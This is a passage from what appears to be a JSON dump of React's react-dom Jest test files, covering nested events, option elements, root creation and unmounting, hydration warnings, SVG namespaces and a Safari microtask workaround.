    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\ndescribe('ReactDOMNestedEvents', () => {\n  let React;\n  let ReactDOMClient;\n  let Scheduler;\n  let act;\n  let useState;\n  let assertLog;\n\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    useState = React.useState;\n\n    const InternalTestUtils = require('internal-test-utils');\n    assertLog = InternalTestUtils.assertLog;\n  });\n\n  it('nested event dispatches should not cause updates to flush', async () => {\n    const buttonRef = React.createRef(null);\n    function App() {\n      const [isClicked, setIsClicked] = useState(false);\n      const [isFocused, setIsFocused] = useState(false);\n      const onClick = () => {\n        setIsClicked(true);\n        const el = buttonRef.current;\n        el.focus();\n        // The update triggered by the focus event should not have flushed yet.\n        // Nor the click update. They would have if we had wrapped the focus\n        // call in `flushSync`, though.\n        Scheduler.log('Value right after focus call: ' + el.innerHTML);\n      };\n      const onFocus = () => {\n        setIsFocused(true);\n      };\n      return (\n        <>\n          <button ref={buttonRef} onFocus={onFocus} onClick={onClick}>\n            {`Clicked: ${isClicked}, Focused: ${isFocused}`}\n          </button>\n        </>\n      );\n    }\n\n    const container = document.createElement('div');\n    document.body.appendChild(container);\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<App />);\n    });\n    expect(buttonRef.current.innerHTML).toEqual(\n      'Clicked: false, Focused: false',\n    );\n\n    await act(() => {\n      buttonRef.current.click();\n    });\n    assertLog(['Value right after focus call: Clicked: false, Focused: false']);\n    expect(buttonRef.current.innerHTML).toEqual('Clicked: true, Focused: true');\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMOption-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\ndescribe('ReactDOMOption', () => {\n  let React;\n  let ReactDOMClient;\n  let ReactDOMServer;\n  let act;\n  let assertConsoleErrorDev;\n\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    ReactDOMServer = require('react-dom/server');\n    act = require('internal-test-utils').act;\n    assertConsoleErrorDev =\n      require('internal-test-utils').assertConsoleErrorDev;\n  });\n\n  async function renderIntoDocument(children) {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => root.render(children));\n    return container;\n  }\n\n  it('should flatten children to a string', async () => {\n    const stub = (\n      <option>\n        {1} {'foo'}\n      </option>\n    );\n    const container = await renderIntoDocument(stub);\n\n    expect(container.firstChild.innerHTML).toBe('1 foo');\n  });\n\n  it('should warn for invalid child tags', async () => {\n    const el = (\n      <option value=\"12\">\n        {1} <div /> {2}\n      </option>\n    );\n    const container = await renderIntoDocument(el);\n    assertConsoleErrorDev([\n      'In HTML, <div> cannot be a child of <option>.\\n' +\n        'This will cause a hydration error.\\n' +\n        '\\n' +\n        '> <option value=\"12\">\\n' +\n        '>   <div>\\n' +\n        '    ...\\n' +\n        '\\n' +\n        '    in div (at **)',\n    ]);\n    expect(container.firstChild.innerHTML).toBe('1 <div></div> 2');\n    await renderIntoDocument(el);\n  });\n\n  it('should warn for component child if no value prop is provided', async () => {\n    function Foo() {\n      return '2';\n    }\n    const el = (\n      <option>\n        {1} <Foo /> {3}\n      </option>\n    );\n    const container = await renderIntoDocument(el);\n    assertConsoleErrorDev([\n      'Cannot infer the option value of complex children. ' +\n        'Pass a `value` prop or use a plain string as children to <option>.\\n' +\n        '    in option (at **)',\n    ]);\n    expect(container.firstChild.innerHTML).toBe('1 2 3');\n    await renderIntoDocument(el);\n  });\n\n  it('should not warn for component child if value prop is provided', async () => {\n    function Foo() {\n      return '2';\n    }\n    const el = (\n      <option value=\"123\">\n        {1} <Foo /> {3}\n      </option>\n    );\n    const container = await renderIntoDocument(el);\n    expect(container.firstChild.innerHTML).toBe('1 2 3');\n    await renderIntoDocument(el);\n  });\n\n  it('should ignore null/undefined/false children without warning', async () => {\n    const stub = (\n      <option>\n        {1} {false}\n        {true}\n        {null}\n        {undefined} {2}\n      </option>\n    );\n    const container = await renderIntoDocument(stub);\n\n    expect(container.firstChild.innerHTML).toBe('1  2');\n  });\n\n  it('should throw on object children', async () => {\n    await expect(async () =>\n      renderIntoDocument(<option>{{}}</option>),\n    ).rejects.toThrow('Objects are not valid as a React child');\n    await expect(async () => {\n      await renderIntoDocument(<option>{[{}]}</option>);\n    }).rejects.toThrow('Objects are not valid as a React child');\n    await expect(async () => {\n      await renderIntoDocument(\n        <option>\n          {{}}\n          <span />\n        </option>,\n      );\n    }).rejects.toThrow('Objects are not valid as a React child');\n    await expect(async () => {\n      await renderIntoDocument(\n        <option>\n          {'1'}\n          {{}}\n          {2}\n        </option>,\n      );\n    }).rejects.toThrow('Objects are not valid as a React child');\n  });\n\n  it('should support element-ish child', async () => {\n    // This is similar to <fbt>.\n    // We don't toString it because you must instead provide a value prop.\n    const obj = {\n      $$typeof: Symbol.for('react.transitional.element'),\n      type: props => props.content,\n      ref: null,\n      key: null,\n      props: {\n        content: 'hello',\n      },\n      toString() {\n        return this.props.content;\n      },\n    };\n\n    let container = await renderIntoDocument(<option value=\"a\">{obj}</option>);\n    expect(container.firstChild.innerHTML).toBe('hello');\n\n    container = await renderIntoDocument(<option value=\"b\">{[obj]}</option>);\n    expect(container.firstChild.innerHTML).toBe('hello');\n\n    container = await renderIntoDocument(<option value={obj}>{obj}</option>);\n    expect(container.firstChild.innerHTML).toBe('hello');\n    expect(container.firstChild.value).toBe('hello');\n\n    container = await renderIntoDocument(\n      <option value={obj}>\n        {'1'}\n        {obj}\n        {2}\n      </option>,\n    );\n    expect(container.firstChild.innerHTML).toBe('1hello2');\n    expect(container.firstChild.value).toBe('hello');\n  });\n\n  it('should support bigint values', async () => {\n    const container = await renderIntoDocument(<option>{5n}</option>);\n    expect(container.firstChild.innerHTML).toBe('5');\n    expect(container.firstChild.value).toBe('5');\n  });\n\n  it('should be able to use dangerouslySetInnerHTML on option', async () => {\n    const stub = <option dangerouslySetInnerHTML={{__html: 'foobar'}} />;\n    const container = await renderIntoDocument(stub);\n    assertConsoleErrorDev([\n      'Pass a `value` prop if you set dangerouslyInnerHTML so React knows which value should be selected.\\n' +\n        '    in option (at **)',\n    ]);\n\n    expect(container.firstChild.innerHTML).toBe('foobar');\n  });\n\n  it('should set attribute for empty value', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    let option;\n    await act(() => {\n      root.render(<option value=\"\" />);\n    });\n    option = container.firstChild;\n    expect(option.hasAttribute('value')).toBe(true);\n    expect(option.getAttribute('value')).toBe('');\n\n    await act(() => {\n      root.render(<option value=\"lava\" />);\n    });\n    option = container.firstChild;\n    expect(option.hasAttribute('value')).toBe(true);\n    expect(option.getAttribute('value')).toBe('lava');\n  });\n\n  it('should allow ignoring `value` on option', async () => {\n    const a = 'a';\n    let node;\n    const stub = (\n      <select value=\"giraffe\" onChange={() => {}}>\n        <option>monkey</option>\n        <option>gir{a}ffe</option>\n        <option>gorill{a}</option>\n      </select>\n    );\n    const options = stub.props.children;\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(stub);\n    });\n    node = container.firstChild;\n\n    expect(node.selectedIndex).toBe(1);\n\n    await act(() => {\n      root.render(<select value=\"gorilla\">{options}</select>);\n    });\n    node = container.firstChild;\n    expect(node.selectedIndex).toEqual(2);\n  });\n\n  it('generates a hydration error when an invalid nested tag is used as a child', async () => {\n    const ref = React.createRef();\n    const children = (\n      <select readOnly={true} value=\"bar\">\n        <option value=\"bar\">\n          {['Bar', false, 'Foo', <div key=\"1\" ref={ref} />, 'Baz']}\n        </option>\n      </select>\n    );\n\n    const container = document.createElement('div');\n\n    container.innerHTML = ReactDOMServer.renderToString(children);\n\n    expect(container.firstChild.getAttribute('value')).toBe(null);\n    expect(container.firstChild.getAttribute('defaultValue')).toBe(null);\n\n    let option = container.firstChild.firstChild;\n    expect(option.nodeName).toBe('OPTION');\n\n    expect(option.textContent).toBe('BarFooBaz');\n    expect(option.selected).toBe(true);\n\n    await act(async () => {\n      ReactDOMClient.hydrateRoot(container, children, {\n        onRecoverableError: () => {},\n      });\n    });\n    assertConsoleErrorDev([\n      'In HTML, <div> cannot be a child of <option>.\\n' +\n        'This will cause a hydration error.\\n' +\n        '\\n' +\n        '  <select readOnly={true} value=\"bar\">\\n' +\n        '>   <option value=\"bar\">\\n' +\n        '>     <div ref={{current:null}}>\\n' +\n        '      ...\\n' +\n        '\\n' +\n        '    in div (at **)',\n    ]);\n    option = container.firstChild.firstChild;\n\n    expect(option.textContent).toBe('BarFooBaz');\n    expect(option.selected).toBe(true);\n\n    expect(ref.current.nodeName).toBe('DIV');\n    expect(ref.current.parentNode).toBe(option);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMRoot-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React = require('react');\nlet ReactDOM = require('react-dom');\nlet ReactDOMClient = require('react-dom/client');\nlet ReactDOMServer = require('react-dom/server');\nlet Scheduler = require('scheduler');\nlet act;\nlet useEffect;\nlet assertLog;\nlet waitForAll;\nlet assertConsoleErrorDev;\n\ndescribe('ReactDOMRoot', () => {\n  let container;\n\n  beforeEach(() => {\n    jest.resetModules();\n    container = document.createElement('div');\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    ReactDOMServer = require('react-dom/server');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    assertConsoleErrorDev =\n      require('internal-test-utils').assertConsoleErrorDev;\n    useEffect = React.useEffect;\n\n    const InternalTestUtils = require('internal-test-utils');\n    assertLog = InternalTestUtils.assertLog;\n    waitForAll = InternalTestUtils.waitForAll;\n  });\n\n  it('renders children', async () => {\n    const root = ReactDOMClient.createRoot(container);\n    root.render(<div>Hi</div>);\n    await waitForAll([]);\n    expect(container.textContent).toEqual('Hi');\n  });\n\n  it('warns if a callback parameter is provided to render', async () => {\n    const callback = jest.fn();\n    const root = ReactDOMClient.createRoot(container);\n    root.render(<div>Hi</div>, callback);\n    assertConsoleErrorDev([\n      'does not support the second callback argument. ' +\n        'To execute a side effect after rendering, declare it in a component body with useEffect().',\n    ]);\n    await waitForAll([]);\n    expect(callback).not.toHaveBeenCalled();\n  });\n\n  it('warn if a object is passed to root.render(...)', async () => {\n    function App() {\n      return 'Child';\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    root.render(<App />, {});\n    assertConsoleErrorDev([\n      'You passed a second argument to root.render(...) but it only accepts ' +\n        'one argument.',\n    ]);\n  });\n\n  it('warn if a container is passed to root.render(...)', async () => {\n    function App() {\n      return 'Child';\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    root.render(<App />, container);\n    assertConsoleErrorDev([\n      'You passed a container to the second argument of root.render(...). ' +\n        \"You don't need to pass it again since you already passed it to create \" +\n        'the root.',\n    ]);\n  });\n\n  it('warns if a callback parameter is provided to unmount', async () => {\n    const callback = jest.fn();\n    const root = ReactDOMClient.createRoot(container);\n    root.render(<div>Hi</div>);\n    root.unmount(callback);\n    assertConsoleErrorDev([\n      'does not support a callback argument. ' +\n        'To execute a side effect after rendering, declare it in a component body with useEffect().',\n    ]);\n    await waitForAll([]);\n    expect(callback).not.toHaveBeenCalled();\n  });\n\n  it('unmounts children', async () => {\n    const root = ReactDOMClient.createRoot(container);\n    root.render(<div>Hi</div>);\n    await waitForAll([]);\n    expect(container.textContent).toEqual('Hi');\n    root.unmount();\n    await waitForAll([]);\n    expect(container.textContent).toEqual('');\n  });\n\n  it('can be immediately unmounted', async () => {\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.unmount();\n    });\n  });\n\n  it('supports hydration', async () => {\n    const markup = await new Promise(resolve =>\n      resolve(\n        ReactDOMServer.renderToString(\n          <div>\n            <span className=\"extra\" />\n          </div>,\n        ),\n      ),\n    );\n\n    // Does not hydrate by default\n    const container1 = document.createElement('div');\n    container1.innerHTML = markup;\n    const root1 = ReactDOMClient.createRoot(container1);\n    root1.render(\n      <div>\n        <span />\n      </div>,\n    );\n    await waitForAll([]);\n\n    const container2 = document.createElement('div');\n    container2.innerHTML = markup;\n    ReactDOMClient.hydrateRoot(\n      container2,\n      <div>\n        <span />\n      </div>,\n    );\n    await waitForAll([]);\n    assertConsoleErrorDev([\n      \"A tree hydrated but some attributes of the server rendered HTML didn't match the client properties. \" +\n        \"This won't be patched up. This can happen if a SSR-ed Client Component used:\\n\" +\n        '\\n' +\n        \"- A server/client branch `if (typeof window !== 'undefined')`.\\n\" +\n        \"- Variable input such as `Date.now()` or `Math.random()` which changes each time it's called.\\n\" +\n        \"- Date formatting in a user's locale which doesn't match the server.\\n\" +\n        '- External changing data without sending a snapshot of it along with the HTML.\\n' +\n        '- Invalid HTML tag nesting.\\n' +\n        '\\n' +\n        'It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\\n' +\n        '\\n' +\n        'https://react.dev/link/hydration-mismatch\\n' +\n        '\\n' +\n        '  <div>\\n' +\n        '    <span\\n' +\n        '-     className=\"extra\"\\n' +\n        '    >\\n' +\n        '\\n    in span (at **)',\n    ]);\n  });\n\n  it('clears existing children', async () => {\n    container.innerHTML = '<div>a</div><div>b</div>';\n    const root = ReactDOMClient.createRoot(container);\n    root.render(\n      <div>\n        <span>c</span>\n        <span>d</span>\n      </div>,\n    );\n    await waitForAll([]);\n    expect(container.textContent).toEqual('cd');\n    root.render(\n      <div>\n        <span>d</span>\n        <span>c</span>\n      </div>,\n    );\n    await waitForAll([]);\n    expect(container.textContent).toEqual('dc');\n  });\n\n  it('throws a good message on invalid containers', () => {\n    expect(() => {\n      ReactDOMClient.createRoot(<div>Hi</div>);\n    }).toThrow('Target container is not a DOM element.');\n  });\n\n  it('warns when creating two roots managing the same container', () => {\n    ReactDOMClient.createRoot(container);\n    ReactDOMClient.createRoot(container);\n    assertConsoleErrorDev([\n      'You are calling ReactDOMClient.createRoot() on a container that ' +\n        'has already been passed to createRoot() before. Instead, call ' +\n        'root.render() on the existing root instead if you want to update it.',\n    ]);\n  });\n\n  it('does not warn when creating second root after first one is unmounted', async () => {\n    const root = ReactDOMClient.createRoot(container);\n    root.unmount();\n    await waitForAll([]);\n    ReactDOMClient.createRoot(container); // No warning\n  });\n\n  it('warns if creating a root on the document.body', async () => {\n    // we no longer expect an error for this if float is enabled\n    ReactDOMClient.createRoot(document.body);\n  });\n\n  it('warns if updating a root that has had its contents removed', async () => {\n    const root = ReactDOMClient.createRoot(container);\n    root.render(<div>Hi</div>);\n    await waitForAll([]);\n    container.innerHTML = '';\n\n    // When either of these flags are on this validation is turned off so we\n    // expect there to be no warnings\n    root.render(<div>Hi</div>);\n  });\n\n  it('should render different components in same root', async () => {\n    document.body.appendChild(container);\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<div />);\n    });\n    expect(container.firstChild.nodeName).toBe('DIV');\n\n    await act(() => {\n      root.render(<span />);\n    });\n    expect(container.firstChild.nodeName).toBe('SPAN');\n  });\n\n  it('should not warn if mounting into non-empty node', async () => {\n    container.innerHTML = '<div></div>';\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<div />);\n    });\n\n    expect(true).toBe(true);\n  });\n\n  it('should reuse markup if rendering to the same target twice', async () => {\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<div />);\n    });\n    const firstElm = container.firstChild;\n    await act(() => {\n      root.render(<div />);\n    });\n\n    expect(firstElm).toBe(container.firstChild);\n  });\n\n  it('should unmount and remount if the key changes', async () => {\n    function Component({text}) {\n      useEffect(() => {\n        Scheduler.log('Mount');\n\n        return () => {\n          Scheduler.log('Unmount');\n        };\n      }, []);\n\n      return <span>{text}</span>;\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<Component text=\"orange\" key=\"A\" />);\n    });\n    expect(container.firstChild.innerHTML).toBe('orange');\n    assertLog(['Mount']);\n\n    // If we change the key, the component is unmounted and remounted\n    await act(() => {\n      root.render(<Component text=\"green\" key=\"B\" />);\n    });\n    expect(container.firstChild.innerHTML).toBe('green');\n    assertLog(['Unmount', 'Mount']);\n\n    // But if we don't change the key, the component instance is reused\n    await act(() => {\n      root.render(<Component text=\"blue\" key=\"B\" />);\n    });\n    expect(container.firstChild.innerHTML).toBe('blue');\n    assertLog([]);\n  });\n\n  it('throws if unmounting a root that has had its contents removed', async () => {\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<div>Hi</div>);\n    });\n    container.innerHTML = '';\n\n    await expect(async () => {\n      await act(() => {\n        root.unmount();\n      });\n    }).rejects.toThrow('The node to be removed is not a child of this node.');\n  });\n\n  it('unmount is synchronous', async () => {\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render('Hi');\n    });\n    expect(container.textContent).toEqual('Hi');\n\n    await act(() => {\n      root.unmount();\n      // Should have already unmounted\n      expect(container.textContent).toEqual('');\n    });\n  });\n\n  it('throws if an unmounted root is updated', async () => {\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render('Hi');\n    });\n    expect(container.textContent).toEqual('Hi');\n\n    root.unmount();\n\n    expect(() => root.render(\"I'm back\")).toThrow(\n      'Cannot update an unmounted root.',\n    );\n  });\n\n  it('warns if root is unmounted inside an effect', async () => {\n    const container1 = document.createElement('div');\n    const root1 = ReactDOMClient.createRoot(container1);\n    const container2 = document.createElement('div');\n    const root2 = ReactDOMClient.createRoot(container2);\n\n    function App({step}) {\n      useEffect(() => {\n        if (step === 2) {\n          root2.unmount();\n        }\n      }, [step]);\n      return 'Hi';\n    }\n\n    await act(() => {\n      root1.render(<App step={1} />);\n    });\n    expect(container1.textContent).toEqual('Hi');\n\n    ReactDOM.flushSync(() => {\n      root1.render(<App step={2} />);\n    });\n    assertConsoleErrorDev([\n      'Attempted to synchronously unmount a root while React was already rendering. ' +\n        'React cannot finish unmounting the root until the current render has completed, ' +\n        'which may lead to a race condition.\\n' +\n        '    in App (at **)',\n    ]);\n  });\n\n  // @gate disableCommentsAsDOMContainers\n  it('errors if container is a comment node', () => {\n    // This is an old feature used by www. Disabled in the open source build.\n    const div = document.createElement('div');\n    div.innerHTML = '<!-- react-mount-point-unstable -->';\n    const commentNode = div.childNodes[0];\n\n    expect(() => ReactDOMClient.createRoot(commentNode)).toThrow(\n      'Target container is not a DOM element.',\n    );\n    expect(() => ReactDOMClient.hydrateRoot(commentNode)).toThrow(\n      'Target container is not a DOM element.',\n    );\n  });\n\n  it('warn if no children passed to hydrateRoot', async () => {\n    ReactDOMClient.hydrateRoot(container);\n    assertConsoleErrorDev([\n      'Must provide initial children as second argument to hydrateRoot. ' +\n        'Example usage: hydrateRoot(domContainer, <App />)',\n    ]);\n  });\n\n  it('warn if JSX passed to createRoot', async () => {\n    function App() {\n      return 'Child';\n    }\n\n    ReactDOMClient.createRoot(container, <App />);\n    assertConsoleErrorDev([\n      'You passed a JSX element to createRoot. You probably meant to call root.render instead. ' +\n        'Example usage:\\n' +\n        '\\n' +\n        '  let root = createRoot(domContainer);\\n' +\n        '  root.render(<App />);',\n    ]);\n  });\n\n  it('warns when given a function', () => {\n    function Component() {\n      return <div />;\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n\n    ReactDOM.flushSync(() => {\n      root.render(Component);\n    });\n    assertConsoleErrorDev([\n      'Functions are not valid as a React child. ' +\n        'This may happen if you return Component instead of <Component /> from render. ' +\n        'Or maybe you meant to call this function rather than return it.\\n' +\n        '  root.render(Component)',\n    ]);\n  });\n\n  it('warns when given a symbol', () => {\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n\n    ReactDOM.flushSync(() => {\n      root.render(Symbol('foo'));\n    });\n    assertConsoleErrorDev([\n      'Symbols are not valid as a React child.\\n' +\n        '  root.render(Symbol(foo))',\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMSVG-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n'use strict';\n\nlet React;\nlet ReactDOMClient;\nlet ReactDOMServer;\nlet act;\n\ndescribe('ReactDOMSVG', () => {\n  beforeEach(() => {\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    ReactDOMServer = require('react-dom/server');\n    act = require('internal-test-utils').act;\n  });\n\n  it('creates initial namespaced markup', () => {\n    const markup = ReactDOMServer.renderToString(\n      <svg>\n        <image xlinkHref=\"http://i.imgur.com/w7GCRPb.png\" />\n      </svg>,\n    );\n    expect(markup).toContain('xlink:href=\"http://i.imgur.com/w7GCRPb.png\"');\n  });\n\n  it('creates elements with SVG namespace inside SVG tag during mount', async () => {\n    const node = document.createElement('div');\n    let div,\n      div2,\n      div3,\n      foreignObject,\n      foreignObject2,\n      g,\n      image,\n      image2,\n      image3,\n      p,\n      svg,\n      svg2,\n      svg3,\n      svg4;\n    const root = ReactDOMClient.createRoot(node);\n    await act(() => {\n      root.render(\n        <div>\n          <svg ref={el => (svg = el)}>\n            <g ref={el => (g = el)} strokeWidth=\"5\">\n              <svg ref={el => (svg2 = el)}>\n                <foreignObject ref={el => (foreignObject = el)}>\n                  <svg ref={el => (svg3 = el)}>\n                    <svg ref={el => (svg4 = el)} />\n                    <image\n                      ref={el => (image = el)}\n                      xlinkHref=\"http://i.imgur.com/w7GCRPb.png\"\n                    />\n                  </svg>\n                  <div ref={el => (div = el)} />\n                </foreignObject>\n              </svg>\n              <image\n                ref={el => (image2 = el)}\n                xlinkHref=\"http://i.imgur.com/w7GCRPb.png\"\n              />\n              <foreignObject ref={el => (foreignObject2 = el)}>\n                <div ref={el => (div2 = el)} />\n              </foreignObject>\n            </g>\n          </svg>\n          <p ref={el => (p = el)}>\n            <svg>\n              <image\n                ref={el => (image3 = el)}\n                xlinkHref=\"http://i.imgur.com/w7GCRPb.png\"\n              />\n            </svg>\n          </p>\n          <div ref={el => (div3 = el)} />\n        </div>,\n      );\n    });\n    [svg, svg2, svg3, svg4].forEach(el => {\n      expect(el.namespaceURI).toBe('http://www.w3.org/2000/svg');\n      // SVG tagName is case sensitive.\n      expect(el.tagName).toBe('svg');\n    });\n    expect(g.namespaceURI).toBe('http://www.w3.org/2000/svg');\n    expect(g.tagName).toBe('g');\n    expect(g.getAttribute('stroke-width')).toBe('5');\n    expect(p.namespaceURI).toBe('http://www.w3.org/1999/xhtml');\n    // DOM tagName is capitalized by browsers.\n    expect(p.tagName).toBe('P');\n    [image, image2, image3].forEach(el => {\n      expect(el.namespaceURI).toBe('http://www.w3.org/2000/svg');\n      expect(el.tagName).toBe('image');\n      expect(el.getAttributeNS('http://www.w3.org/1999/xlink', 'href')).toBe(\n        'http://i.imgur.com/w7GCRPb.png',\n      );\n    });\n    [foreignObject, foreignObject2].forEach(el => {\n      expect(el.namespaceURI).toBe('http://www.w3.org/2000/svg');\n      expect(el.tagName).toBe('foreignObject');\n    });\n    [div, div2, div3].forEach(el => {\n      expect(el.namespaceURI).toBe('http://www.w3.org/1999/xhtml');\n      expect(el.tagName).toBe('DIV');\n    });\n  });\n\n  it('creates elements with SVG namespace inside SVG tag during update', async () => {\n    let inst,\n      div,\n      div2,\n      foreignObject,\n      foreignObject2,\n      g,\n      image,\n      image2,\n      svg,\n      svg2,\n      svg3,\n      svg4;\n\n    class App extends React.Component {\n      state = {step: 0};\n\n      render() {\n        inst = this;\n        const {step} = this.state;\n        if (step === 0) {\n          return null;\n        }\n        return (\n          <g ref={el => (g = el)} strokeWidth=\"5\">\n            <svg ref={el => (svg2 = el)}>\n              <foreignObject ref={el => (foreignObject = el)}>\n                <svg ref={el => (svg3 = el)}>\n                  <svg ref={el => (svg4 = el)} />\n                  <image\n                    ref={el => (image = el)}\n                    xlinkHref=\"http://i.imgur.com/w7GCRPb.png\"\n                  />\n                </svg>\n                <div ref={el => (div = el)} />\n              </foreignObject>\n            </svg>\n            <image\n              ref={el => (image2 = el)}\n              xlinkHref=\"http://i.imgur.com/w7GCRPb.png\"\n            />\n            <foreignObject ref={el => (foreignObject2 = el)}>\n              <div ref={el => (div2 = el)} />\n            </foreignObject>\n          </g>\n        );\n      }\n    }\n\n    const node = document.createElement('div');\n    const root = ReactDOMClient.createRoot(node);\n    await act(() => {\n      root.render(\n        <svg ref={el => (svg = el)}>\n          <App />\n        </svg>,\n      );\n    });\n    await act(() => {\n      inst.setState({step: 1});\n    });\n\n    [svg, svg2, svg3, svg4].forEach(el => {\n      expect(el.namespaceURI).toBe('http://www.w3.org/2000/svg');\n      // SVG tagName is case sensitive.\n      expect(el.tagName).toBe('svg');\n    });\n    expect(g.namespaceURI).toBe('http://www.w3.org/2000/svg');\n    expect(g.tagName).toBe('g');\n    expect(g.getAttribute('stroke-width')).toBe('5');\n    [image, image2].forEach(el => {\n      expect(el.namespaceURI).toBe('http://www.w3.org/2000/svg');\n      expect(el.tagName).toBe('image');\n      expect(el.getAttributeNS('http://www.w3.org/1999/xlink', 'href')).toBe(\n        'http://i.imgur.com/w7GCRPb.png',\n      );\n    });\n    [foreignObject, foreignObject2].forEach(el => {\n      expect(el.namespaceURI).toBe('http://www.w3.org/2000/svg');\n      expect(el.tagName).toBe('foreignObject');\n    });\n    [div, div2].forEach(el => {\n      expect(el.namespaceURI).toBe('http://www.w3.org/1999/xhtml');\n      // DOM tagName is capitalized by browsers.\n      expect(el.tagName).toBe('DIV');\n    });\n  });\n\n  it('can render SVG into a non-React SVG tree', async () => {\n    const outerSVGRoot = document.createElementNS(\n      'http://www.w3.org/2000/svg',\n      'svg',\n    );\n    const container = document.createElementNS(\n      'http://www.w3.org/2000/svg',\n      'g',\n    );\n    outerSVGRoot.appendChild(container);\n    let image;\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<image ref={el => (image = el)} />);\n    });\n    expect(image.namespaceURI).toBe('http://www.w3.org/2000/svg');\n    expect(image.tagName).toBe('image');\n  });\n\n  it('can render HTML into a foreignObject in non-React SVG tree', async () => {\n    const outerSVGRoot = document.createElementNS(\n      'http://www.w3.org/2000/svg',\n      'svg',\n    );\n    const container = document.createElementNS(\n      'http://www.w3.org/2000/svg',\n      'foreignObject',\n    );\n    outerSVGRoot.appendChild(container);\n    let div;\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<div ref={el => (div = el)} />);\n    });\n    expect(div.namespaceURI).toBe('http://www.w3.org/1999/xhtml');\n    expect(div.tagName).toBe('DIV');\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMSafariMicrotaskBug-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\n\nlet ReactDOMClient;\nlet act;\nlet assertLog;\nlet Scheduler;\n\ndescribe('ReactDOMSafariMicrotaskBug-test', () => {\n  let container;\n  let overrideQueueMicrotask;\n  let flushFakeMicrotasks;\n\n  beforeEach(() => {\n    // In Safari, microtasks don't always run on clean stack.\n    // This setup crudely approximates it.\n    // In reality, the sync flush happens when an iframe is added to the page.\n    // https://github.com/facebook/react/issues/22459\n    const originalQueueMicrotask = queueMicrotask;\n    overrideQueueMicrotask = false;\n    const fakeMicrotaskQueue = [];\n    global.queueMicrotask = cb => {\n      if (overrideQueueMicrotask) {\n        fakeMicrotaskQueue.push(cb);\n      } else {\n        originalQueueMicrotask(cb);\n      }\n    };\n    flushFakeMicrotasks = () => {\n      while (fakeMicrotaskQueue.length > 0) {\n        const cb = fakeMicrotaskQueue.shift();\n        cb();\n      }\n    };\n\n    jest.resetModules();\n    container = document.createElement('div');\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    act = require('internal-test-utils').act;\n    assertLog = require('internal-test-utils').assertLog;\n    Scheduler = require('scheduler');\n\n    document.body.appendChild(container);\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n  });\n\n  it('should deal with premature microtask in commit phase', async () => {\n    let ran = false;\n    function Foo() {\n      const [state, setState] = React.useState(0);\n      return (\n        <div\n          ref={() => {\n            overrideQueueMicrotask = true;\n            if (!ran) {\n              ran = true;\n              setState(1);\n              flushFakeMicrotasks();\n              Scheduler.log(\n                'Content at end of ref callback: ' + container.textContent,\n              );\n            }\n          }}>\n          {state}\n        </div>\n      );\n    }\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Foo />);\n    });\n    assertLog(['Content at end of ref callback: 0']);\n    expect(container.textContent).toBe('1');\n  });\n\n  it('should deal with premature microtask in event handler', async () => {\n    function Foo() {\n      const [state, setState] = React.useState(0);\n      return (\n        <button\n          onClick={() => {\n            overrideQueueMicrotask = true;\n            setState(1);\n            flushFakeMicrotasks();\n            Scheduler.log(\n              'Content at end of click handler: ' + container.textContent,\n            );\n          }}>\n          {state}\n        </button>\n      );\n    }\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Foo />);\n    });\n    